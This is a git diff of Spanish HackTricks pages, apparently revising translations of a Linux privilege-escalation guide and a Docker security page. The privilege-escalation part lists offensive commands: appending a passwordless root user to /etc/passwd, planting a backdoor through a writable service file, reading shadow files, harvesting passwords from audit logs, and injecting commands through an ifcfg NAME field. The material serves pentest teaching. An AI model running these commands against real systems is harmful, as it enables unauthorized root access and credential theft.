Este error se produce al crear una nueva clave ssh en esos sistemas operativos, ya que **solo eran posibles 32,768 variaciones**. Esto significa que todas las posibilidades pueden ser calculadas y **teniendo la clave pública ssh puedes buscar la clave privada correspondiente**. Puedes encontrar las posibilidades calculadas aquí: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
@ -1147,7 +1148,7 @@ Este error se produce al crear una nueva clave ssh en esos sistemas operativos,
|
|||
### Valores de configuración interesantes de SSH
|
||||
|
||||
* **PasswordAuthentication:** Especifica si se permite la autenticación por contraseña. El valor predeterminado es `no`.
|
||||
* **PubkeyAuthentication:** Especifica si se permite la autenticación con clave pública. El valor predeterminado es `yes`.
|
||||
* **PubkeyAuthentication:** Especifica si se permite la autenticación mediante clave pública. El valor predeterminado es `yes`.
|
||||
* **PermitEmptyPasswords**: Cuando se permite la autenticación por contraseña, especifica si el servidor permite el inicio de sesión en cuentas con cadenas de contraseña vacías. El valor predeterminado es `no`.
|
||||
|
||||
### PermitRootLogin
|
||||
|
@ -1156,7 +1157,7 @@ Especifica si el usuario root puede iniciar sesión usando ssh, el valor predete
|
|||
|
||||
* `yes`: root puede iniciar sesión usando contraseña y clave privada
|
||||
* `without-password` o `prohibit-password`: root solo puede iniciar sesión con una clave privada
|
||||
* `forced-commands-only`: Root solo puede iniciar sesión usando una clave privada y si se especifican las opciones de comandos
|
||||
* `forced-commands-only`: Root solo puede iniciar sesión usando clave privada y si se especifican las opciones de comandos
|
||||
* `no` : no
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
@ -1165,11 +1166,11 @@ Especifica los archivos que contienen las claves públicas que se pueden utiliza
|
|||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
Esa configuración indicará que si intentas iniciar sesión con la clave **privada** del usuario "**testusername**", ssh comparará la clave pública de tu clave con las que se encuentran en `/home/testusername/.ssh/authorized_keys` y `/home/testusername/access`
|
||||
Esa configuración indicará que si intentas iniciar sesión con la clave **privada** del usuario "**testusername**", ssh va a comparar la clave pública de tu clave con las que se encuentran en `/home/testusername/.ssh/authorized_keys` y `/home/testusername/access`
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
El reenvío del agente SSH te permite **utilizar tus claves SSH locales en lugar de dejar claves** (¡sin frases de paso!) en tu servidor. Por lo tanto, podrás **saltar** a través de ssh **a un host** y desde allí **saltar a otro** host **utilizando** la **clave** ubicada en tu **host inicial**.
|
||||
El reenvío del agente SSH te permite **utilizar tus claves SSH locales en lugar de dejar claves** (¡sin frases de paso!) en tu servidor. Así, podrás **saltar** a través de ssh **a un host** y desde allí **saltar a otro** host **utilizando** la **clave** ubicada en tu **host inicial**.
|
||||
|
||||
Necesitas configurar esta opción en `$HOME/.ssh.config` de la siguiente manera:
|
||||
```
|
||||
|
@ -1197,7 +1198,7 @@ ls -l /etc/profile /etc/profile.d/
|
|||
```
|
||||
### Archivos Passwd/Shadow
|
||||
|
||||
Dependiendo del sistema operativo, es posible que los archivos `/etc/passwd` y `/etc/shadow` tengan un nombre diferente o que exista una copia de seguridad. Por lo tanto, se recomienda **encontrar todos ellos** y **verificar si puedes leer** para ver **si hay hashes** dentro de los archivos:
|
||||
Dependiendo del sistema operativo, es posible que los archivos `/etc/passwd` y `/etc/shadow` tengan un nombre diferente o que exista una copia de seguridad. Por lo tanto, se recomienda **encontrar todos ellos** y **verificar si puedes leerlos** para ver **si contienen hashes** en su interior:
|
||||
```bash
|
||||
#Passwd equivalent files
|
||||
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
|
@ -1230,7 +1231,7 @@ ADVERTENCIA: podrías degradar la seguridad actual de la máquina.
|
|||
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
|
||||
su - dummy
|
||||
```
|
||||
**NOTA:** En las plataformas BSD, `/etc/passwd` se encuentra en `/etc/pwd.db` y `/etc/master.passwd`, y `/etc/shadow` se renombra a `/etc/spwd.db`.
|
||||
**NOTA:** En las plataformas BSD, `/etc/passwd` se encuentra en `/etc/pwd.db` y `/etc/master.passwd`, además el `/etc/shadow` se renombra a `/etc/spwd.db`.
|
||||
|
||||
Deberías verificar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración de servicio**?
|
||||
```bash
|
||||
|
@ -1243,15 +1244,13 @@ ExecStart=/path/to/backdoor
|
|||
User=root
|
||||
Group=root
|
||||
```
|
||||
Tu puerta trasera se ejecutará la próxima vez que se inicie tomcat.
|
||||
### Verificación de Carpetas
|
||||
|
||||
### Verificar Carpetas
|
||||
|
||||
Las siguientes carpetas pueden contener copias de seguridad o información interesante: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablemente no podrás leer la última, pero inténtalo)
|
||||
Las siguientes carpetas pueden contener copias de seguridad o información interesante: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablemente no puedas leer la última, pero inténtalo)
|
||||
```bash
|
||||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||||
```
|
||||
### Ubicación/archivos de propiedad extraña
|
||||
### Ubicación/archivos de propiedad extraños
|
||||
```bash
|
||||
#root owned files in /home folders
|
||||
find /home -user root 2>/dev/null
|
||||
|
@ -1308,12 +1307,12 @@ Lee el código de [**linPEAS**](https://github.com/carlospolop/privilege-escalat
|
|||
### Registros
|
||||
|
||||
Si puedes leer registros, es posible que puedas encontrar **información interesante/confidencial dentro de ellos**. Cuanto más extraño sea el registro, más interesante será (probablemente).\
|
||||
Además, algunos registros de auditoría "**mal**" configurados (¿con puerta trasera?) pueden permitirte **grabar contraseñas** dentro de los registros de auditoría como se explica en este post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
Además, algunos registros de auditoría "**mal**" configurados (¿con puerta trasera?) pueden permitirte **grabar contraseñas** dentro de los registros de auditoría como se explica en este artículo: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
```
|
||||
Para **leer registros del grupo** [**adm**](grupos-interesantes-linux-pe/#grupo-adm) será de gran ayuda.
|
||||
Para **leer registros del grupo** [**adm**](grupos-interesantes-linux-pe/#grupo-adm) será de gran ayuda.
|
||||
|
||||
### Archivos de shell
|
||||
```bash
|
||||
|
@ -1359,7 +1358,7 @@ Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.
|
|||
|
||||
Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-<loquesea>` en _/etc/sysconfig/network-scripts_ **o** puede **ajustar** uno existente, entonces su **sistema está comprometido**.
|
||||
|
||||
Los scripts de red, como _ifcg-eth0_ por ejemplo, se utilizan para conexiones de red. Se ven exactamente como archivos .INI. Sin embargo, en Linux son \~sourced\~ por Network Manager (dispatcher.d).
|
||||
Los scripts de red, como _ifcg-eth0_ por ejemplo, se utilizan para conexiones de red. Se ven exactamente como archivos .INI. Sin embargo, son \~sourced\~ en Linux por Network Manager (dispatcher.d).
|
||||
|
||||
En mi caso, el atributo `NAME=` en estos scripts de red no se maneja correctamente. Si tiene **espacios en blanco en el nombre, el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo después del primer espacio en blanco se ejecuta como root**.
|
||||
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Seguridad de Docker
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -24,20 +25,20 @@ Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=te
|
|||
|
||||
## **Seguridad Básica del Motor de Docker**
|
||||
|
||||
El **motor de Docker** emplea los **Namespaces** y **Cgroups** del kernel de Linux para aislar contenedores, ofreciendo una capa básica de seguridad. La protección adicional se logra mediante la **reducción de capacidades**, **Seccomp**, y **SELinux/AppArmor**, mejorando el aislamiento de los contenedores. Un **plugin de autenticación** puede restringir aún más las acciones de los usuarios.
|
||||
El **motor de Docker** utiliza los **Namespaces** y **Cgroups** del kernel de Linux para aislar contenedores, ofreciendo una capa básica de seguridad. La protección adicional se logra mediante la **reducción de capacidades**, **Seccomp** y **SELinux/AppArmor**, mejorando el aislamiento de los contenedores. Un **plugin de autenticación** puede restringir aún más las acciones de los usuarios.
|
||||
|
||||
![Seguridad de Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
|
||||
|
||||
### Acceso Seguro al Motor de Docker
|
||||
|
||||
El motor de Docker puede ser accedido localmente a través de un socket Unix o de forma remota utilizando HTTP. Para el acceso remoto, es esencial emplear HTTPS y **TLS** para garantizar la confidencialidad, integridad y autenticación.
|
||||
El motor de Docker puede ser accedido localmente a través de un socket Unix o de forma remota utilizando HTTP. Para el acceso remoto, es esencial emplear HTTPS y **TLS** para garantizar confidencialidad, integridad y autenticación.
|
||||
|
||||
El motor de Docker, por defecto, escucha en el socket Unix en `unix:///var/run/docker.sock`. En sistemas Ubuntu, las opciones de inicio de Docker se definen en `/etc/default/docker`. Para habilitar el acceso remoto a la API y al cliente de Docker, expone el demonio de Docker sobre un socket HTTP añadiendo la siguiente configuración:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
```
|
||||
Sin embargo, exponer el demonio de Docker a través de HTTP no es recomendado debido a preocupaciones de seguridad. Es recomendable asegurar las conexiones utilizando HTTPS. Hay dos enfoques principales para asegurar la conexión:
|
||||
Sin embargo, exponer el demonio de Docker a través de HTTP no es recomendado debido a preocupaciones de seguridad. Es aconsejable asegurar las conexiones utilizando HTTPS. Hay dos enfoques principales para asegurar la conexión:
|
||||
|
||||
1. El cliente verifica la identidad del servidor.
|
||||
2. Tanto el cliente como el servidor se autentican mutuamente.
|
||||
|
@ -54,13 +55,13 @@ Las imágenes de contenedores pueden almacenarse en repositorios privados o púb
|
|||
|
||||
### Escaneo de Imágenes
|
||||
|
||||
Los contenedores pueden tener **vulnerabilidades de seguridad** ya sea debido a la imagen base o al software instalado encima de la imagen base. Docker está trabajando en un proyecto llamado **Nautilus** que realiza un escaneo de seguridad de los contenedores y lista las vulnerabilidades. Nautilus funciona comparando cada capa de imagen de contenedor con un repositorio de vulnerabilidades para identificar agujeros de seguridad.
|
||||
Los contenedores pueden tener **vulnerabilidades de seguridad** ya sea debido a la imagen base o al software instalado encima de la imagen base. Docker está trabajando en un proyecto llamado **Nautilus** que realiza un escaneo de seguridad de los Contenedores y lista las vulnerabilidades. Nautilus funciona comparando cada capa de imagen de Contenedor con un repositorio de vulnerabilidades para identificar agujeros de seguridad.
|
||||
|
||||
Para más [**información lee esto**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
* **`docker scan`**
|
||||
|
||||
El comando **`docker scan`** te permite escanear imágenes de Docker existentes utilizando el nombre o ID de la imagen. Por ejemplo, ejecuta el siguiente comando para escanear la imagen hello-world:
|
||||
El comando **`docker scan`** te permite escanear imágenes de Docker existentes utilizando el nombre de la imagen o el ID. Por ejemplo, ejecuta el siguiente comando para escanear la imagen hello-world:
|
||||
```bash
|
||||
docker scan hello-world
|
||||
|
||||
|
@ -90,13 +91,13 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
|||
```
|
||||
### Firma de Imágenes de Docker
|
||||
|
||||
La firma de imágenes de Docker garantiza la seguridad e integridad de las imágenes utilizadas en contenedores. Aquí tienes una explicación resumida:
|
||||
La firma de imágenes de Docker garantiza la seguridad y la integridad de las imágenes utilizadas en contenedores. Aquí tienes una explicación resumida:
|
||||
|
||||
- **Docker Content Trust** utiliza el proyecto Notary, basado en The Update Framework (TUF), para gestionar la firma de imágenes. Para más información, consulta [Notary](https://github.com/docker/notary) y [TUF](https://theupdateframework.github.io).
|
||||
- **Docker Content Trust** utiliza el proyecto Notary, basado en The Update Framework (TUF), para gestionar la firma de imágenes. Para obtener más información, consulta [Notary](https://github.com/docker/notary) y [TUF](https://theupdateframework.github.io).
|
||||
- Para activar la confianza en el contenido de Docker, establece `export DOCKER_CONTENT_TRUST=1`. Esta función está desactivada de forma predeterminada en Docker versión 1.10 y posteriores.
|
||||
- Con esta función habilitada, solo se pueden descargar imágenes firmadas. La carga inicial de la imagen requiere establecer frases de paso para las claves raíz y de etiquetado, con Docker también admitiendo Yubikey para una seguridad mejorada. Puedes encontrar más detalles [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Intentar descargar una imagen no firmada con la confianza en el contenido habilitada resulta en un error de "No hay datos de confianza para latest".
|
||||
- Para las cargas de imágenes posteriores a la primera, Docker solicita la frase de paso de la clave del repositorio para firmar la imagen.
|
||||
- Con esta función habilitada, solo se pueden descargar imágenes firmadas. La carga inicial de la imagen requiere establecer frases de contraseña para las claves raíz y de etiquetado, con Docker también admitiendo Yubikey para una seguridad mejorada. Puedes encontrar más detalles [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Intentar descargar una imagen no firmada con la confianza en el contenido habilitada resulta en un error de "No hay datos de confianza para la última versión".
|
||||
- Para las cargas de imágenes posteriores a la primera, Docker solicita la frase de contraseña de la clave del repositorio para firmar la imagen.
|
||||
|
||||
Para hacer una copia de seguridad de tus claves privadas, utiliza el comando:
|
||||
```bash
|
||||
|
@ -127,13 +128,13 @@ En entornos contenerizados, aislar proyectos y sus procesos es fundamental para
|
|||
**Espacios de Nombres (Namespaces)**
|
||||
|
||||
* **Propósito**: Asegurar el aislamiento de recursos como procesos, red y sistemas de archivos. Especialmente en Docker, los espacios de nombres mantienen los procesos de un contenedor separados del host y de otros contenedores.
|
||||
* **Uso de `unshare`**: El comando `unshare` (o la llamada al sistema subyacente) se utiliza para crear nuevos espacios de nombres, proporcionando una capa adicional de aislamiento. Sin embargo, mientras que Kubernetes no bloquea esto inherentemente, Docker sí lo hace.
|
||||
* **Limitación**: Crear nuevos espacios de nombres no permite que un proceso vuelva a los espacios de nombres predeterminados del host. Para penetrar en los espacios de nombres del host, normalmente se requeriría acceso al directorio `/proc` del host, utilizando `nsenter` para entrar.
|
||||
* **Uso de `unshare`**: El comando `unshare` (o la llamada al sistema subyacente) se utiliza para crear nuevos espacios de nombres, proporcionando una capa adicional de aislamiento. Sin embargo, mientras Kubernetes no bloquea esto inherentemente, Docker sí lo hace.
|
||||
* **Limitación**: Crear nuevos espacios de nombres no permite que un proceso vuelva a los espacios de nombres predeterminados del host. Para penetrar en los espacios de nombres del host, normalmente se requeriría acceso al directorio `/proc` del host, utilizando `nsenter` para ingresar.
|
||||
|
||||
**Grupos de Control (CGroups)**
|
||||
|
||||
* **Función**: Utilizado principalmente para asignar recursos entre procesos.
|
||||
* **Aspecto de Seguridad**: Los CGroups en sí mismos no ofrecen seguridad de aislamiento, excepto por la característica `release_agent`, que, si está mal configurada, podría ser potencialmente explotada para acceder sin autorización.
|
||||
* **Aspecto de Seguridad**: Los CGroups en sí mismos no ofrecen seguridad de aislamiento, excepto por la característica `release_agent`, que, si está mal configurada, podría ser potencialmente explotada para obtener acceso no autorizado.
|
||||
|
||||
**Descarte de Capacidades (Capability Drop)**
|
||||
|
||||
|
@ -155,7 +156,7 @@ El **perfil Seccomp predeterminado de Docker** se puede encontrar en [https://gi
|
|||
|
||||
**AppArmor**
|
||||
|
||||
Docker tiene una plantilla que puedes activar: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
Docker tiene una plantilla que se puede activar: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
Esto permitirá reducir capacidades, syscalls, acceso a archivos y carpetas...
|
||||
|
||||
|
@ -182,7 +183,7 @@ Para **más información sobre los namespaces** consulta la siguiente página:
|
|||
### cgroups
|
||||
|
||||
La característica del kernel de Linux **cgroups** proporciona la capacidad de **restringir recursos como cpu, memoria, io, ancho de banda de red entre** un conjunto de procesos. Docker permite crear Contenedores utilizando la característica cgroup que permite el control de recursos para el Contenedor específico.\
|
||||
A continuación se muestra un Contenedor creado con la memoria del espacio de usuario limitada a 500m, la memoria del kernel limitada a 50m, la cuota de cpu a 512, el peso de blkioweight a 400. La cuota de CPU es una proporción que controla el uso de CPU del Contenedor. Tiene un valor predeterminado de 1024 y un rango entre 0 y 1024. Si tres Contenedores tienen la misma cuota de CPU de 1024, cada Contenedor puede tomar hasta el 33% de la CPU en caso de contención de recursos de CPU. blkio-weight es una proporción que controla la E/S del Contenedor. Tiene un valor predeterminado de 500 y un rango entre 10 y 1000.
|
||||
A continuación se muestra un Contenedor creado con la memoria del espacio de usuario limitada a 500m, la memoria del kernel limitada a 50m, la cuota de CPU a 512, el peso de blkioweight a 400. La cuota de CPU es una proporción que controla el uso de CPU del Contenedor. Tiene un valor predeterminado de 1024 y un rango entre 0 y 1024. Si tres Contenedores tienen la misma cuota de CPU de 1024, cada Contenedor puede utilizar hasta el 33% de la CPU en caso de contención de recursos de CPU. blkio-weight es una proporción que controla la E/S del Contenedor. Tiene un valor predeterminado de 500 y un rango entre 10 y 1000.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
|
@ -202,7 +203,7 @@ Para obtener más información, consulta:
|
|||
|
||||
Las capacidades permiten un **control más preciso de las capacidades que se pueden permitir** para el usuario root. Docker utiliza la característica de capacidades del kernel de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario.
|
||||
|
||||
Cuando se ejecuta un contenedor de Docker, el **proceso elimina las capacidades sensibles que el proceso podría usar para escapar del aislamiento**. Esto intenta asegurar que el proceso no podrá realizar acciones sensibles y escapar:
|
||||
Cuando se ejecuta un contenedor de Docker, el **proceso elimina las capacidades sensibles que el proceso podría usar para escapar del aislamiento**. Esto intenta asegurar que el proceso no pueda realizar acciones sensibles y escapar:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
|
@ -232,7 +233,7 @@ Esta es una característica de seguridad que permite a Docker **limitar las sysc
|
|||
* **Etiquetado de Archivos dentro de los Contenedores**: Los archivos dentro del contenedor suelen estar etiquetados como `container_file_t`.
|
||||
* **Reglas de Política**: La política de SELinux garantiza principalmente que los procesos con la etiqueta `container_t` solo puedan interactuar (leer, escribir, ejecutar) con archivos etiquetados como `container_file_t`.
|
||||
|
||||
Este mecanismo garantiza que incluso si un proceso dentro de un contenedor se ve comprometido, esté confinado a interactuar solo con objetos que tengan las etiquetas correspondientes, limitando significativamente el daño potencial de tales compromisos.
|
||||
Este mecanismo garantiza que incluso si un proceso dentro de un contenedor se ve comprometido, está confinado para interactuar solo con objetos que tengan las etiquetas correspondientes, limitando significativamente el daño potencial de tales compromisos.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -240,10 +241,10 @@ Este mecanismo garantiza que incluso si un proceso dentro de un contenedor se ve
|
|||
|
||||
### AuthZ & AuthN
|
||||
|
||||
En Docker, un complemento de autorización juega un papel crucial en la seguridad al decidir si permitir o bloquear las solicitudes al demonio de Docker. Esta decisión se toma examinando dos contextos clave:
|
||||
En Docker, un complemento de autorización desempeña un papel crucial en la seguridad al decidir si permitir o bloquear las solicitudes al demonio de Docker. Esta decisión se toma examinando dos contextos clave:
|
||||
|
||||
* **Contexto de Autenticación**: Esto incluye información completa sobre el usuario, como quiénes son y cómo se han autenticado.
|
||||
* **Contexto de Comando**: Esto comprende todos los datos pertinentes relacionados con la solicitud que se está realizando.
|
||||
* **Contexto de Autenticación**: Incluye información completa sobre el usuario, como quiénes son y cómo se han autenticado.
|
||||
* **Contexto de Comando**: Comprende todos los datos pertinentes relacionados con la solicitud que se está realizando.
|
||||
|
||||
Estos contextos ayudan a garantizar que solo se procesen solicitudes legítimas de usuarios autenticados, mejorando la seguridad de las operaciones de Docker.
|
||||
|
||||
|
@ -281,7 +282,7 @@ En la siguiente página puedes aprender **qué implica la bandera `--privileged`
|
|||
|
||||
#### no-new-privileges
|
||||
|
||||
Si estás ejecutando un contenedor donde un atacante logra acceder como un usuario de baja privilegios. Si tienes un **binario suid mal configurado**, el atacante podría abusar de él y **escalar privilegios dentro** del contenedor. Lo cual podría permitirle escapar de él.
|
||||
Si estás ejecutando un contenedor donde un atacante logra obtener acceso como un usuario de baja privilegios. Si tienes un **binario suid mal configurado**, el atacante podría abusar de él y **escalar privilegios dentro** del contenedor. Lo cual podría permitirle escapar de él.
|
||||
|
||||
Ejecutar el contenedor con la opción **`no-new-privileges`** habilitada **evitará este tipo de escalada de privilegios**.
|
||||
```
|
||||
|
@ -302,7 +303,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
|||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
Para obtener más opciones de **`--security-opt`**, consulta: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
Para obtener más opciones de **`--security-opt`** consulta: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
|
||||
## Otras Consideraciones de Seguridad
|
||||
|
||||
|
@ -312,7 +313,7 @@ Es crucial evitar incrustar secretos directamente en las imágenes de Docker o u
|
|||
|
||||
Los **volúmenes de Docker** son una alternativa más segura, recomendada para acceder a información sensible. Pueden ser utilizados como un sistema de archivos temporal en memoria, mitigando los riesgos asociados con `docker inspect` y el registro. Sin embargo, los usuarios root y aquellos con acceso `exec` al contenedor aún podrían acceder a los secretos.
|
||||
|
||||
**Docker secrets** ofrecen un método aún más seguro para manejar información sensible. Para casos que requieran secretos durante la fase de construcción de la imagen, **BuildKit** presenta una solución eficiente con soporte para secretos en tiempo de compilación, mejorando la velocidad de construcción y proporcionando características adicionales.
|
||||
**Secretos de Docker** ofrecen un método aún más seguro para manejar información sensible. Para casos que requieran secretos durante la fase de construcción de la imagen, **BuildKit** presenta una solución eficiente con soporte para secretos en tiempo de construcción, mejorando la velocidad de construcción y proporcionando características adicionales.
|
||||
|
||||
Para aprovechar BuildKit, se puede activar de tres maneras:
|
||||
|
||||
|
@ -320,7 +321,7 @@ Para aprovechar BuildKit, se puede activar de tres maneras:
|
|||
2. Prefijando comandos: `DOCKER_BUILDKIT=1 docker build .`
|
||||
3. Habilitándolo de forma predeterminada en la configuración de Docker: `{ "features": { "buildkit": true } }`, seguido de un reinicio de Docker.
|
||||
|
||||
BuildKit permite el uso de secretos en tiempo de compilación con la opción `--secret`, asegurando que estos secretos no se incluyan en la caché de construcción de la imagen o en la imagen final, utilizando un comando como:
|
||||
BuildKit permite el uso de secretos en tiempo de construcción con la opción `--secret`, asegurando que estos secretos no se incluyan en la caché de construcción de la imagen o en la imagen final, utilizando un comando como:
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
|
@ -349,13 +350,13 @@ En entornos de Kubernetes, los secretos son compatibles de forma nativa y se pue
|
|||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** es una comunidad de código abierto que trabaja para construir un tiempo de ejecución de contenedores seguro con máquinas virtuales ligeras que se sienten y se comportan como contenedores, pero proporcionan una **mayor aislamiento de carga de trabajo utilizando la tecnología de virtualización de hardware** como una segunda capa de defensa.
|
||||
**Kata Containers** es una comunidad de código abierto que trabaja para construir un tiempo de ejecución de contenedores seguro con máquinas virtuales ligeras que se sienten y se comportan como contenedores, pero proporcionan una **mayor aislamiento de carga de trabajo utilizando tecnología de virtualización de hardware** como una segunda capa de defensa.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
### Consejos Resumidos
|
||||
|
||||
* **No utilices la bandera `--privileged` ni montes un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite la creación de contenedores, por lo que es una forma sencilla de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`.
|
||||
* **No utilices la bandera `--privileged` ni montes un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite generar contenedores, por lo que es una forma sencilla de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`.
|
||||
* No ejecutes como root dentro del contenedor. Utiliza un [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) y [**espacios de nombres de usuario**](https://docs.docker.com/engine/security/userns-remap/). El root en el contenedor es el mismo que en el host a menos que se remapee con espacios de nombres de usuario. Está solo ligeramente restringido por, principalmente, espacios de nombres de Linux, capacidades y cgroups.
|
||||
* [**Elimina todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilita solo las necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan capacidades y agregarlas aumenta el alcance de un posible ataque.
|
||||
* [**Utiliza la opción de seguridad “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que los procesos obtengan más privilegios, por ejemplo, a través de binarios suid.
|
||||
|
@ -364,11 +365,11 @@ En entornos de Kubernetes, los secretos son compatibles de forma nativa y se pue
|
|||
* **Utiliza** [**imágenes oficiales de Docker**](https://docs.docker.com/docker-hub/official\_images/) **y exige firmas** o construye las tuyas basadas en ellas. No heredes ni uses imágenes [con puertas traseras](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). También guarda las claves raíz, frases de contraseña en un lugar seguro. Docker tiene planes para gestionar claves con UCP.
|
||||
* **Reconstruye regularmente** tus imágenes para **aplicar parches de seguridad al host e imágenes**.
|
||||
* Gestiona tus **secretos sabiamente** para que sea difícil para el atacante acceder a ellos.
|
||||
* Si **expones el demonio de Docker, utiliza HTTPS** con autenticación de cliente y servidor.
|
||||
* Si **expones el daemon de Docker, utiliza HTTPS** con autenticación de cliente y servidor.
|
||||
* En tu Dockerfile, **prefiere COPY en lugar de ADD**. ADD extrae automáticamente archivos comprimidos y puede copiar archivos desde URL. COPY no tiene estas capacidades. Siempre que sea posible, evita usar ADD para no ser susceptible a ataques a través de URL remotas y archivos Zip.
|
||||
* Ten **contenedores separados para cada microservicio**.
|
||||
* **No incluyas ssh** dentro del contenedor, "docker exec" se puede usar para ssh al contenedor.
|
||||
* Utiliza **imágenes de contenedor más pequeñas**.
|
||||
* Utiliza **imágenes de contenedor más pequeñas**
|
||||
|
||||
## Fuga de Docker / Escalada de Privilegios
|
||||
|
||||
|
@ -411,19 +412,21 @@ Debes ejecutar la herramienta desde el host que ejecuta Docker o desde un conten
|
|||
|
||||
\
|
||||
